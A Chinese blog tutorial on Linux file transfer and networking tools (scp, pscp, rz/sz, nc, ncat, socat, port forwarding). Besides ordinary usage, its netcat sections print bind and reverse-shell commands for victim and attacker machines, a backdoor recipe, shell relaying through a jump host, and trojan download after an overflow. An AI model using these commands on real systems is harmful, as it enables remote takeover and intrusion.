linux 命令：scp (pscp)、rz/sz、nc (netcat)、ncat、socat、ssh、端口转发(rinetd)

擒贼先擒王

墨衍会员 · AI 创作全网分发码龄11年

关注

原创 2026-08-08 16:06:08 3.4w 阅读 AI 写同款· GEO 优化 ›

Linux命令·scp 用于在Linux下进行远程拷贝文件的命令阅读详情

1、linux 之间传输文件

不同 Linux 主机之间复制文件。

1、scp、pscp。最常用
2、nc、netcat、socat
2. ftp、sftp、xshel、MobaXterm、Xmanager、FileZilla
MobaXterm：https://mobaxterm.mobatek.net/
Xmanager 是一个工具集合，里面包括了xshell，xftp，xbrowser、xstart、xlpd 等功能，其中最常用的就是 xshell 和 xftp。xshell：https://www.xshell.com/zh/xshell/
SecureCRT：https://www.vandyke.com/products/securecrt/
FileZilla Client ( ftp 客户端)：https://www.filezilla.cn/download/client
3. samba 服务
4. sz / rz

scp

scp 就是 secure copy，是基于 rcp 程序源码进行开发的。scp 用来在两个主机之间复制文件，数据传输使用 ssh1，并且和 ssh1 使用相同的认证方式，提供相同的安全保证。

源主机 和 目标主机 都可以是 本地主机，远程主机格式为 [user@]host:[path]，或者 uri 格式 scp://[user@]host[:port][/path] ，本地文件名可以使用绝对或相对路径名进行显式设置，以避免 scp 将包含 “:” 的文件名视为主机标识符。在两个远程主机之间进行复制时，如果使用URI格式，则只有在使用 -3 选项时才能在目标上指定端口。

用法：scp [-346BCpqrTv] [-c cipher] [-F ssh_config] [-i identity_file] [-J destination] [-l limit] [-o ssh_option] [-P port] [-S program] source ... target

示例：scp 本地用户名@IP地址:文件名1 远程用户名@IP地址:文件名2

拷贝文件夹：scp -r /data/mydir username@ip:filepath

说明：
file: 要拷贝的文件名
username: 远程登录的用户名，
ip：远程服务器ip
filepath：远程文件路径

参数

-3 在两个远程主机之间进行复制，通过本地主机做中转。如果没有这个参数，则直接在两个主机之间复制，不需要第三方中转
-4 使用 IPv4 地址
-6 使用 IPv6 地址
-B 择批处理模式(防止询问密码或密码短语)。
-C 启用压缩。将 -C 标志传递给 ssh(1)以启用压缩。
-c cipher 选择要用于加密数据传输的密码。这个选项直接传递给ssh(1)。
-F ssh_config 为ssh指定另一个用户配置文件。这个选项直接传递给ssh(1)。
-i identity_file 选择从中读取用于公钥身份验证的标识(私钥)的文件。这个选项直接传递给ssh(1)。
-J destination 要连接到目标主机，首先要与目的地所描述的跳转主机建立scp连接，然后从那里建立到最终目的地的TCP转发。
               多个跳转跳转可以用逗号分隔。这是指定ProxyJump配置指令的快捷方式。这个选项直接传递给ssh(1)。
-l limit 限制使用的带宽，单位为Kbit/s。
-o ssh_option
       可用于以ssh_config(5)中使用的格式向ssh传递选项。这对于指定没有单独scp命令行标志的选项非常有用
       请参见ssh_config(5)。
-P port 指定要连接的远程主机端口。
-p 保留原始文件的修改次数、访问次数和模式。
-q 静默模式
-r 递归地复制整个目录。scp 会跟随遍历到的符号链接。
-S program 用于加密连接的程序名称。程序必须理解ssh(1)选项。
-T 禁用严格的文件名检查. 默认启用
-v 显示详细模式

示例：

把另一台服务器上的文件 /home/ftp/pub/file1 直接传到本机器的当前目录下

：scp servername:/home/ftp/pub/file1 .

把本机上的文件 /tmp/file2 送到另一台机器的 /boot 目录下。

：scp /tmp/file2 servername:/boot

把文件复制到远程192.168.0.8服务器上，然后会提示输入密码。

：scp /home/a.txt root@192.168.0.8:/home/root

把远程主机 copy 到当前主机的当前目录下:

：scp root@192.168.0.8:/home/b.txt .

复制文件夹

：scp -r root@192.168.0.8:/home/ /root/home2

pscp

Windows 和 Linux 相互复制： ftp、sftp、pscp

PuTTY ：https://www.chiark.greenend.org.uk/~sgtatham/putty/

PSCP 是 PuTTY 提供的文件传输工具，通过 SSH 连接，在两台机器之间安全的传输文件，可以用于任何SSH（包括SSHv1、SSHv2）服务器。下载 pscp，并将其放入 windows 的 system32 文件夹下，这样在 dos 命令窗口中就能直接调用使用了。如果 system32 下没有，则只能 cmd 进入 pscp 所在文件夹，然后在 pscp 所在文件夹进行操作。

Windows ---> Linux

开始 ---> 运行 ---> cmd 进入到dos模式。
执行命令：pscp f:\new.txt admin@10.10.10.10:/home

pscp admin@10.10.10.10:/home/new.txt f:\new_copy.txt

psftp

psftp 是 putty 的组成部分，可以用于本地文件和远程文件的传输控制

1. 建立远程连接
psftp
open hostname
openusername@hostname

2. 操作远程服务器
   pwd : 查看当前所在目录
   cd +路径：进入某个目录
   ls ：列出当前目录下的文件
   dir：列出当前目录下的文件
   rm +文件名：删除文件
   del+文件名：删除文件
   put+本地文件：上传本地文件到远程服务器
   get+远程文件：下载远程文件到本地机器

3. 操作本地文件
   lpwd:查看本地机器当前所在目录
   lcd+路径：更改本地机器的当前目录
    !dir:列出本地机器当前目录的文件(感叹号!表示执行本地命令)

4. 关闭连接
   close:关闭连接，不退出psftp
   quit:关闭连接而且退出psftp
   exit:关闭连接而且退出psftp

rz、sz

xshell 有 xftp 可以实现图形化的相互传递文件。

SecureCRT 可以在服务器安装 rz 和 sz 来实现相互传递文件， rz 和 sz 命令允许开发者与主机通过串口进行传递文件了。

sz：将选定的文件发送（send）到本地机器
rz：运行该命令会弹出一个文件选择窗口，从本地选择文件上传到 Linux 服务器

安装命令： yum install lrzsz

从服务端发送文件到客户端： sz filename
从客户端上传文件到服务端： rz 。在弹出的框中选择文件，上传文件的用户和组是当前登录的用户

2、nc (netcat)、ncat、socat

ncat man 手册：https://www.man7.org/linux/man-pages/man1/ncat.1.html
NC工具的使用说明教程：https://blog.csdn.net/xysoul/article/details/52270149
window 版本 nc 下载：https://eternallybored.org/misc/netcat/

linux 下执行命令：readlink -f $(which nc) 结果会有两种：

/bin/nc.openbsd 是系统自带GNU基础版本nc，是基于传统nc重写，主要用于简单的 TCP 和 UDP 连接 (发送和接收数据)。标准的 nc 命令没有 -e 或 -c 参数来执行命令。
/bin/nc.traditional 是传统经典版本的nc，传统版本nc和变种版本的 nc ( ncat、netcat ) 都支持 -e 、-c 参数。

Ubuntu上默认安装的是 netcat-openbsd (没有-e和-c)，而不是经典的 netcat-traditional，因此要想使用 netcat-traditional 则需要自己进行安装与配置：

sudo apt-get -y install netcat-traditional
sudo update-alternatives --config nc
选择对应编号，回车即可

apt-get install nc-traditional
apt-get install nc-openbsd
不管是 gnu 版本还是 openbsd 版本，都有新老的区别，主要是传送文件时 stdin 发生 EOF 了，老版本会自动断开，而新的 gnu/openbsd 还会一直连着。

nc (netcat)、ncat 简介

NC 全名 Netcat (网络刀，nc --- TCP/IP swiss army knife)，作者是 Hobbit && ChrisWysopal。因其功能十分强大，体积小巧而出名，被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。可以直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。

在中国nc的 windows版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由 "红与黑" 编译后的新浓缩版。浓缩版的主程序只有10多KB，虽然 "体积" 小，但很完成很多工作。

关于 nc、ncat、socat 说明：

nc ：常用于溢出、反向链接、上传文本等。其实是一个非标准的 telnet 客户端程序。也是一个 putty.exe 客户端程序。
ncat ：是现代版的 netcat，是 nmap 项目的组成部分。
socat ：socat 是一个 nc 的替代品，可以称为 nc++。是 netcat 的 N 倍加强版。socat 支持的连接方式很多，有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

netcat 瑞士军刀实现电脑远程控制 termux

termux 安装 namp ( 或者安装 busybox )：pkg install namp

如何建立连接
termux： nc -lp 333 -c bash
windows：nc -nv 1.1.1.1 333
或者反向
windows：nc -lp 333
termux： nc -nv 1.1.1.1 333 -c bash
到此，连接已建立，试试在 windows 命令行下输入ifconfig

nc (netcat)、ncat 参数

netcat 最初的用途就是文件传输，它可以像 cat 命令一样将读取的文件重定向到网络上的另外的文件。Netcat 在网络应用中既可以当做服务器端，开启本机一个监听端口，也可以作为客户端向其他服务器端口发起连接。所以，文件传输，即是在两端分别运行 netcat。

主动发起连接 的使用方法：nc [-options] hostname port[s] [ports] ...
监听进入的连接 的使用方法：nc -l -p port [-options] [hostname] [port]

linux 环境 nc 参数

type nc、nc -h

options:
-c shell commands 同 -e 参数，连接成功后使用 /bin/sh 执行 shell 命令。[危险！！]
-e filename 连接成功后要执行的程序或者命令 [危险！！]
-b 允许广播
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助
-i secs 为 "传送信息、扫描端口" 设置时间间隔。
-k 设置 socket 的 keepalive 选项
-l 监听模式，监听进入的连接。
-n 指定数字的IP地址，不能用 hostname
-o file 把往来传输的数据以16进制形式保存到文件。
-p port 设置本地端口号
-r 随机本地和远程端口
-q secs 在标准输入 EOF 后，延迟多少秒后并退出
-s addr 设置本地 IP 地址
-T tos 设置服务类型
-t 用 telnet 来回应
-u UDP 模式
-v 或者 -vv 显示详细
-w secs 设置网络连接超时时间
-C 发送 CRLF 作为行尾
-z 零 I/O 模式 [用于扫描]，就是将输入输出关掉。
端口号可以是单个端口或者是范围。例如 80，1-100
连字符出现在端口名称中，必须用反斜杠转义（例如 "ftp\-data"）

windows 环境 nc 参数

windows下nc 和 linux下nc 参数不太一样

options:
-d 从 console 分离，即后台模式。

-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时设置，端口扫描时使用
-l 监听模式，用于入站连接
-L 连接关闭后，仍然继续监听
-n 使用数字形式的IP地址，而不是使用 hostname
-o file 流量以16进制的形式保存到文件
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 用 telnet 来回应
-c 发送 CRLF 代替 LF
-u UDP 模式
-v 详细输出， -vv 可得到更详细的内容
-w secs 连接和网络读取的超时时间
-z 将输入输出关掉。用于扫描
端口号可以是单个端口或者是范围 m-n。例如 80，1-100

nc 基本用法

nc -nvv 192.168.x.x 80 // 连到 192.168.x.x 的 TCP 80 端口
nc -l -p 80 // 监听本机的TCP80端口
nc -nvv -w2 -z 192.168.x.x 80-445 // 扫描192.168.x.x 的 TCP 80 到 TCP 445 的所有端口

nc -l -p 9999 -e cmd.exe
nc 192.168.1.5 9999

或者

nc -l -p 9999 -t
nc -t -e cmd.exe 192.168.1.5

绑定 shell

命令：nc -l -p 5354 -t -e c:\windows\system32\cmd.exe

命令解释：本地监听 5354 端口，当有连接进入时，将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应到连接者。连接者就可以进入被连接者的 cmd。（反弹 shell 原理）

绑定 shell 并反向连接

命令：nc -t -e c:\windows\system32\cmd.exe 192.168.x.x 5354

命令解释：连接到远程服务器的 5354 端口，连接成功后将 -e c:\windows\system32\cmd.exe 响应给远程服务器。这样远程服务器就进入连接者的 cmd

NC 的用法还有很多，当配合管道命令 | 与重定向命令 < > 等等命令功能更强大。

nc 高级用法

作攻击程序用，例子：

格式 1：type.exe c:exploit.txt | nc -nvv 192.168.x.x 80
格式 2：nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解：连接到192.168.x.x的80端口，并在其管道中发送 c:exploit.txt 的内容。

两种格式效果一样。c:exploit.txt 为 shellcode 等

作蜜罐用 [1]，例子：

格式：nc -L -p 80
讲解：使用 -L( 注意 L 是大写 ) 可以不停地监听某一个端口，直到 ctrl+c 为止。

作蜜罐用 [2]，例子：

格式：nc -L -p 80 > c:\log.txt
讲解：使用 -L 可以不停地监听某一个端口，直到 ctrl+c为止，同时把结果输出到 c:log.txt中，如果把 > 改为 >> 即可以追加日志。c:\log.txt 为日志等

作蜜罐用 [3]，例子：

格式1：nc -L -p 80 < c:\honeypot.txt
格式2：type.exe c:honeypot.txt|nc -L -p 80
讲解：使用 -L 可以不停地监听某一个端口，直到 ctrl+c为止，同时把 c:honeypot.txt 的内容送入其管道中。

记录 log

nc -l -p 80 >>c:\日志.log //凡是有针对本机80端口的攻击都会被记录下来的

端口扫描

// 注意：nc 扫描会留下大量的痕迹。

格式：nc -vv -z ip port-port port // 示例：nc -v -w 2 www.baidu.com -z 100-105 80

nc -vv 127.0.0.1 10-100 或者 nc -vv -z 127.0.0.1 10-100

nc -v -z 192.168.0.25 1-100 // 端口扫描，扫描 tcp 端口 1-100
nc -v -z -u 192.168.0.25 1-100 // 端口扫描，扫描 udp 端口 1-100
nc -vv 192.168.0.25 80 // 端口扫描，扫描 tcp 端口 80

nc -v -z www.baidu.com 70-80 # 扫描端口(70到80)
nc -v -z -w 2 192.168.2.34 21-24
nc -v -z -w2 127.0.0.1 1-100 # -w2 设置超时时间
nc -l -p 1234 # 监听本地端口
netstat -a | grep 1234
netstat -tunlp
nc -vuz 172.16.211.34 68
nc -p 1234 -w 5 www.test.com 80 // 建立从本地1234端口到 www.test.com 的80端口连接，5秒超时
nc -u host.example.com 53 // u 为 UDP 连接

有名管道 (named Pipe)

匿名管道：是只能在具有共同祖先（具有亲缘关系）的进程间通信。
命名管道(FIFO)：可以在不相关的进程之间通信。有名管道是双向管道，涉及创建、打开、读取和写入。使用 mkfifo 命令创建命名管道，-m设置命名管道的权限，其格式和 chmod 一样。
mkfifo -m 0644 mypipe 创建一个名为 mypipe 的有名管道，并将其权限设置为 0644
使用 -Z 时可以设置有名管道的 SELinux 上下文。
//创建有名管道 mypipe ，并设置SELinux上下文 system_u:object_r:myfifo_user_home_t:s0
示例：mkfifo -Z system_u:object_r:myfifo_user_home_t:s0 mypipe

将 nc 作为代理来收发数据

10 个例子教你学会 ncat (nc) 命令：https://linux.cn/article-9190-1.html

nc 也可以用来做代理。示例：ncat -l 8080 | ncat 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。不过由于使用了管道符，数据只能被单向传输。要同时能够接受返回的数据，需要创建一个双向管道：

创建有名管道：mkfifo 2way

执行转发：ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

0是标准输入，1是标准输出，2是标准错误。现在，就可以通过 nc 代理来收发数据了。

nc 作为简单的 http 代理服务器

# nc www.baidu.com 80 // 作为浏览器，模拟请求
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe

第一、代理1：在同一台机器上
1、创建 "有名管道"，这里命名为 my_fifo_test，执行命令：mkfifo my_fifo_test
2、启动代理，执行命令：nc -l -p 6000 < fifo | nc -l -p 7000 > fifo
第二、代理2：不在同一台机器上
1、创建 "有名管道"，这里命名为 my_fifo_test，执行命令：mkfifo my_fifo_test
2、启动代理，执行命令：nc -l -p 6000 < fifo | nc 192.168.0.4 7000 > fifo

nc 结合 ssh

mkfifo pipe
nc -l -p 8080 < pipe | ssh gw_to_private_net -p 22977 "nc 192.168.12.230 80" | tee pipe

通过 SSH 和 nc 命令从一个系统发送数据到另一个系统，同时将输出管道到一个文件（这里名为 pipe）

使用 nc -l -p 8080 监听在本地系统（本地端口为 8080）的连接。
将这个连接通过管道（pipe）发送到 ssh gw_to_private_net -p 22977，连接到指定的远程系统（这里为 ssh gw_to_private_net）。
在远程系统上运行 nc 命令，该命令可能类似 "nc 192.168.12.230 80"，打开本地系统的80端口进行服务监听或接收请求。
最后，你通过管道将本地系统接收到的内容重新写入到管道文件 pipe 中。

nc 和管道符 |

管道符 ( | ) ：数据只能被单向传输。示例：nc -lk 8848 | nc 10.0.0.1 8848

解释：监听本机8848端口，并将从8848 端口收到的流量，通过 nc 10.0.0.1 8848 转发到另一台机器 10.0.0.2 上的 8848 端口。

nc -lk 8848 会在你的机器上的8848端口启动 nc，并且监听（-l）该端口。-k 选项表示即使一个连接被关闭后，也会继续监听新的连接。
| 管道符号会将第一个 nc 命令的输出（即从本机8848端口收到的数据）传递给第二个 nc 命令。
nc 10.0.0.1 8848 将接收到的数据转发到10.0.0.1上的8848端口。

nc 实现反向流量转发

从一个远程服务器转发数据回到本地服务器，可以通过创建反向连接来达成。这常常用于规避防火墙或NAT设备，可以从内网主机上连接到外部服务器，然后将外界连接的流量通过这个已经建立的连接转发回内网主机。假设有两台机器：一台在公网上，IP地址为server_ip，另一台位于内网中，IP地址为local_ip。内网机器可以访问公网机器，但外部无法直接访问内网机器。实现反向流量转发的步骤：

公网服务器上监听端口： nc -l -p 1234 -vv //-l监听模式，-p指定监听端口，-vv开启详细模式以输出更多信息。
从内网机器上连接到公网服务器，并转发端口流量： nc -c "nc -l -p 8500" server_ip 1234 如果nc版本不支持-c选项，则可以这样执行： nc server_ip 1234 | nc -l -p 8500 命令建立了一个连接到公网服务器的反向通道，然后通过管道转发这个连接到本地的8500端口。-l -p 8500 本地监听端口8500。当有流量发送到公网服务器的1234端口时，这个数据会被 Netcat接收，并通过建立的反向连接，将数据转发到内网机器的8500端口上。这可以实现类似于SSH反向隧道的效果。

端口转发 (PortForwarding)

本地8001转发到本地8000：nc -v -lk -p 8001 -e /usr/bin/nc 127.0.0.1 8000

本地8888端口，转发到本地22端口：nc -lp 8888 -c "nc 127.0.0.1 22"

本地7777端口，转发到192.168.5.5的22端口：nc -lp 7777 -c "nc 192.168.5.5 22"

中转实现反弹shell

解释说明：

在 kali rolling上操作：nc -lvp 23333。这里监听自己的 23333 端口就好了
在 ubuntu16上操作：nc -lvp 23333 -e /bin/sh，这里就是将ubuntu16的shell通过23333端口弹出去，不管谁访问 ubuntu16的23333端口，都将获得shell
在 ubuntu18 上操作：nc -v 192.168.160.136 23333 -c "nc -v 192.168.160.140 23333" 。这里首先获得ubuntu16的shell，然后将shell重定向到kali rolling上去，这个时候，在 kali rolling上就拿到了ubuntu16 的shell了

socat 使用示例：socat TCP-LISTEN:8080,fork TCP:192.168.1.100:9000

端口转发实验

macOS   192.168.10.100   攻击机
kali   192.168.19.147   跳板机
Ubuntu   192.168.19.153   目标机

ps: nc 每次请求连接建立后都会关闭，即单次连接。每次连接过后，都需要重新执行一次nc转发命令。解决方法在后面。且 nc 命令在第一个远程连接结束后会结束监听。如果需要保持运行，需要添加-k参数。

场景1：正向转发 1

macOS 能访问 kali，但是不能访问 Ubuntu。kali 能访问 Ubuntu 任意端口。

目标：macOS 想访问到 Ubuntu 的22端口。

思路：用 kali 做跳板机，把访问 kali 8888 端口的数据转发到 Ubuntu 的 22 端口

方法：在 kali上执行一条 nc 转发命令即可

nc -l -p 8888 -c "nc 192.168.19.153 22"
# 或者使用管道符
mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe
# 或者
mknod /tmp/pipe p && nc -l -p 8888 < /tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe

场景1：正向转发 2

macOS 能访问 kali，但是不能访问 Ubuntu。Ubuntu 防火墙有过滤，kali 不能访问 Ubuntu的22端口，但是可以访问其他端口如 9999。
目标：macOS 想访问到 Ubuntu 的 22 端口。
思路：
目标机器Ubuntu上用nc把22端口转发到9999端口
kali上监听8888端口，并使用nc把访问kali 8888端口的数据转发到Ubuntu的9999端口
macOS通过访问kali的8888端口，即可正向连接到ubuntu的22端口。

操作：
目标Ubuntu：
nc -l -p 9999 -c "nc 127.0.0.1 22"
#如果没有-c参数
mkfifo /tmp/pipe && nc -l -p 9999 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe
# or
mkfifo /tmp/pipe && nc -k -l 9999 0</tmp/pipe | nc localhost 22 | tee /tmp/pipe

跳板机kali：
nc -l -p 8888 -c "nc 192.168.19.153 9999"
#或者使用管道符
mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 9999 >/tmp/pipe
#or
mknod /tmp/pipe p && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 9999 >/tmp/pipe
攻击机：macOS：
ssh -p 8888 username@192.168.19.147

nc、ncat、netcat 端口转发

while :; do (nc -l -p 8888 -c "nc 192.168.19.153 22"); done
while [ 1 ]; do nc -l -p 8888 -c "nc 192.168.19.153 22"; done
while [ 1 ]; do mkfifo /tmp/pipe && nc -l -p 8888 </tmp/pipe | nc 192.168.19.153 22 >/tmp/pipe; done

socat

本地转发：socat tcp-l:8888,reuseaddr,fork tcp:localhost:22
远程转发：socat tcp-l:8888,fork,reuseaddr tcp:192.168.19.153:22

ncat

https://nmap.org/ncat/
当客户端与服务器断开连接时，服务器也会停止监听，可以通过选项’k’强制服务器保持连接状态并继续侦听端口：
所有连接到80端口，都会转发到8080端口：ncat -u -l 80 -c 'ncat -u -l 8080'
ncat -l -k localhost 8080 --sh-exec "ncat example.org 80"

netcat

http://netcat.sourceforge.net/download.php
netcat -l -p 1234 -e /bin/bash
# 把访问某个端口的数据转发到本地或远程端口
netcat -L 127.0.0.1:22 -p 8080 -vvv
netcat -L 192.168.10.1:80 -p 25000 -vvv

后门

受害者的机器执行命令：
nc -l -p port -e cmd.exe // win2000
nc -l -p port -e /bin/sh // unix,linux
攻击者的机器执行命令：
nc ip -p port // 连接受害者机器IP，然后得到一个shell。

正向连接

【远程运行】nc -l -p 2012 -t -e cmd.exe
【本地运行】nc -nvv 192.168.1.101 2012

远程主机（注：假设IP地址为 192.168.1.101）上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到 2012 端口，当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ；
在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机（注：假设IP地址为 192.168.1.101）。

反向连接

【本地运行】nc -l -p 2012
【远程运行】nc -t -e cmd.exe 192.168.1.102 2012

先在本地主机运行 nc -l -p 2012 开启本地主机的（注：假设IP地址为 192.168.1.102）2012 端口并监听等待远程主机连接；
再在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为 2012 的主机上，连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

什么叫反弹端口？
就是说，当对方中马后，不用你主动和对方连接，也就是说不用从你的client端向对方主机上运行的server端发送请求连接，
而是对方主动来连接你这样就可以使很多防火墙失效，因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后，于那两款木马可以说有异曲同工之效。

本地运行：nc -l -p 5277 （监听本地5277端口）或者 nc -l -v -p 5277
然后在远程机器上，想办法运行 nc -e cmd.exe ip 5277
（你可别真的打“ip”在肉鸡上啊）要打，xxx.xxx.xxx.xxx这样！！
这样就是反弹~~在本地机器上得到了一个SHELL

示例：

attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者：
attacker machine:
nc -vv -l -p port1
nc -vv -l -p prot2
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s（nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP），这样就可以保证 nc.exe 优先于NETBIOS。

端口数据抓包

就是使用 -o 参数，把数据以 16进制的形式写到文件里面

示例：nc -vv -w 2 -o ./packet.txt www.baidu.com 80 21-15

远程拷贝文件

从 server1 拷贝文件到 server2 上

在 server1 用 nc 监听：nc -lp 1234 > test_file.txt

然后在 server2 运行：nc -w 1 192.168.5.5 1234 < test_file.txt

传输文件时显示进度条

在发送端 (文件来源端)，命令：pv file_to_transfer | ncat -l -p 1234
在接收端 (文件接收端)，命令：ncat sending_host 1234 | pv -b > received_file

-p 来显示进度条，
-r 来显示数据传输速率，
-e 来显示预计完成时间等等。

例如，要显示进度条和数据传输速率：pv -p -r file_to_transfer | ncat -l -p 1234

pv -h
用法: pv [OPTION] [FILE]...
将文件或标准输入连接到标准输出，并进行监视。

-p, --progress 显示进度条
-t, --timer 显示运行时间
-e, --eta 显示预计到达(完工)时间
-I, --fineta 显示绝对预计到达时间
-r, --rate 显示数据传输速率
-a, --average-rate 显示数据传输平均速率计数器
-b, --bytes 显示传输的字节数
-T, --buffer-percent 显示正在使用的传输缓冲区的百分比
-A, --last-written NUM 显示最后写入的NUM字节
-F, --format FORMAT 通过 FORMAT 设置输出格式
-n, --numeric 输出百分比，而不是视觉信息
-q, --quiet 不输出任何传输信息。安静模式

-W, --wait 在传输第一个字节之前不显示任何内容
-D, --delay-start SEC 直到几秒后才显示任何内容
-s, --size SIZE 将估计数据大小设置为size字节
-l, --line-mode 计算行数而不是字节数
-0, --null 行以空结束
-i, --interval SEC 间隔多少秒更新一次显示
-w, --width WIDTH assume terminal is WIDTH characters wide
-H, --height HEIGHT assume terminal is HEIGHT rows high
-N, --name NAME prefix visual information with NAME
-f, --force output even if standard error is not a terminal
-c, --cursor use cursor positioning escape sequences

-L, --rate-limit RATE limit transfer to RATE bytes per second
-B, --buffer-size BYTES use a buffer size of BYTES
-C, --no-splice never use splice(), always use read/write
-E, --skip-errors skip read errors in input
-S, --stop-at-size stop after --size bytes have been transferred
-R, --remote PID update settings of process PID

-P, --pidfile FILE save process ID in FILE

-d, --watchfd PID[:FD] watch file FD opened by process PID

-h, --help 帮助
-V, --version 版本

ftp 自动下载

【本地运行】nc -L -p 8989 < C:\ftp.txt （ ftp.txt 中为FTP自动下载命令）
不停地监听 8989 端口，并把 C:\ftp.txt 中的内容发给任何一台连接本机 8989 端口的主机，可起到传送文件作用（此用法经常用于反向溢出）。远程主机一旦溢出就会连接本地主机 8989 端口，远程主机就会自动用 FTP 下载指定的文件，如木马。

远程拷贝目录

从 server1 拷贝 nginx-0.6.34目录内容到 server2 上。

在server2上用nc激活监听，server2上运行：nc -l 1234 | tar xzvf -
在server1上运行：tar -zcvf - nginx-0.6.34 | nc 192.168.228.222 1234

克隆硬盘或分区

操作与上面的拷贝是雷同的，只需要由dd获得硬盘或分区的数据，然后传输即可。克隆硬盘或分区的操作，不应在已经 mount 的的系统上进行。所以，需要使用安装光盘引导后，进入拯救模式（或使用Knoppix工具光盘）启动系统后，

server2上进行类似的监听动作：
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输，即可完成从server1克隆sda硬盘到server2的任务：
# dd if=/dev/sda | nc 192.168.228.222 1234

简单聊天工具

在192.168.2.34上： nc -l 1234
在192.168.2.33上： nc 192.168.2.34 1234
这样，双方就可以相互交流了。使用ctrl+C(或D）退出。

nc -l 1234
nc 127.0.0.1 1234
在端口1234建立连接，互相发送输入

但是这样只能点对点双方交流，不能进行多方交流，且建立连接之后任意一方断开连接，则双方都会终止。在 ncat 中新增了订阅者模式，可以由一个 server 提供服务，多个 client 之间相互交流，这样就够搭建一个完整的即时通讯聊天室。
启动 server：ncat -l 8888 --broker 然后使用多个 client 连接即可。

保存 Web 页面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

模拟 HTTP 请求

nc www.baidu.com 80 // 作为浏览器，模拟请求
nc -l -v -p 80 // 浏览器中输入本机IP：127.0.0.1

用 nc 命令操作 memcached

1）存储数据：printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2）获取数据：printf "get keyrn" |nc 192.168.2.34 11211
3）删除数据：printf "delete keyrn" |nc 192.168.2.34 11211
4）查看状态：printf "statsrn" |nc 192.168.2.34 11211
5）模拟top命令查看状态：watch "echo stats" |nc 192.168.2.34 11211
6）清空缓存：printf "flush_allrn" |nc 192.168.2.34 11211 (小心操作，清空了缓存就没了）

Netcat 其他常用的功能

支持完全的DNS转发、逆向检查
支持用户指定源端口
支持用户指定源端IP地址
内置宽松源路由能力（loosesource-routing capability）
慢速发送模式，可指定每隔多少秒发送一行文本
将发送或接收数据以16进制格式导出

3、ncat 命令

ncat 介绍

用户手册：https://nmap.org/ncat/guide/index.html
ncat 参考手册：https://nmap.org/book/ncat-man.html

3.1 ncat 的参数

ncat 是 nmap 项目对传统的 Netcat（即 nc 命令）的重写，是包含在 nmap 安装包里的。安装完 nmap 后，就可以找到 ncat。

ncat --help

Ncat 7.94 ( https://nmap.org/ncat )
用法：ncat [options] [hostname] [port]

时间选项默认是秒。ms表示毫秒，s表示秒，m表示分钟，h表示小时

-4 仅使用 IPv4
-6 仅使用 IPv6
-U, --unixsock 仅使用 Unix 域套接字
--vsock 仅使用 vsock 套接字
-C, --crlf 对 EOL 序列使用 CRLF
-c, --sh-exec <command> 通过 /bin/sh 执行提供的命令
-e, --exec <command> 执行提供的命令
--lua-exec <filename> 执行给定的 Lua 脚本
-g hop1[,hop2,...] 松散源路由跳点（最多 8 个）
-G <n> 松散源路由跳点指针 (4, 8, 12, ...)
-m, --max-conns <n> 最大 <n> 个同时连接数
-h, --help 显示屏幕
-d, --delay <时间> 读/写等待时间
-o, --output <filename> 转储会话数据到文件
-x, --hex-dump <filename> 会话数据以16进制形式转储到文件
-i, --idle-timeout <time> 空闲读/写超时
-p, --source-port port 指定要使用的源端口
-s, --source addr 指定要使用的源地址（不影响-l）
-l, --listen 绑定并监听传入的连接
-k, --keep-open 强制 nc 一直保持连接并继续监听端口。当客户端从服务端断开连接后，过一段时间服务端也会停止监听。通过 -k 可以强制服务器保持连接并继续监听端口。
-n, --nodns 不通过 DNS 解析主机名
-t, --telnet 通过 Telnet 回答协商
-u, --udp 使用 UDP 而不是默认的 TCP
--sctp 使用 SCTP 代替默认 TCP
-v, --verbose 设置详细程度（可多次使用）
-w, --wait <时间> 连接超时
-z 零 I/O 模式，仅报告连接状态
--append-output 追加到输出文件
--send-only 只发送数据，忽略接收；在 EOF 上退出
--recv-only 只接收数据，不发送任何东西
--no-shutdown 在标准输入上接收 EOF 时继续半双工
--allow 只允许给定的主机连接到 Ncat
--allowfile 允许连接到 Ncat 的主机文件
--deny 拒绝给定主机连接到 Ncat
--denyfile 拒绝连接到 Ncat 的主机文件
--broker 启用 Ncat 的连接代理模式
--chat 启动一个简单的 Ncat 聊天服务器
--proxy <addr[:port]> 指定要代理的主机地址
